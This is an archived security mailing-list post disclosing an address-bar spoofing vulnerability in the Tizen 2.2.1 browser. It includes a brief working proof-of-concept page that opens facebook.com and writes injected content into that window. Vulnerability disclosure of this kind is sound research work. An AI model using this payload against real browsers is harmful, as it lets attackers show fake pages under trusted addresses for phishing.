WebApp Sec mailing list archives

Tizen 2.2.1 WebKit Address Spoofing Vulnerability

From: Ajin Abraham <ajin25 () gmail com>
Date: Tue, 2 Dec 2014 18:14:41 +0530

<!--
Title: Tizen 2.2.1 WebKit Address Spoofing Vulnerability
Author: Ajin Abraham | @ajinabraham
Website: http://opensecurity.in
Affected Product: Tizen Default Browser
Affected Version: Tizen 2.2.1
Video Demo: https://www.youtube.com/watch?v=QKbTSxlCX7c

-->
<html>
<head><title>Tizen Browser - Address bar spoofing</title>
<script>
w=window.open('https://facebook.com/&apos;);
w.document.write("<h1>You 've been Hacked</h1>");
w.focus();
</script>
</html>

Regards,
Ajin



This list is sponsored by Cenzic
--------------------------------------
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now! 
http://www.cenzic.com/2009HClaunch_Securityfocus
--------------------------------------

Current thread:

Tizen 2.2.1 WebKit Address Spoofing Vulnerability Ajin Abraham (Dec 02)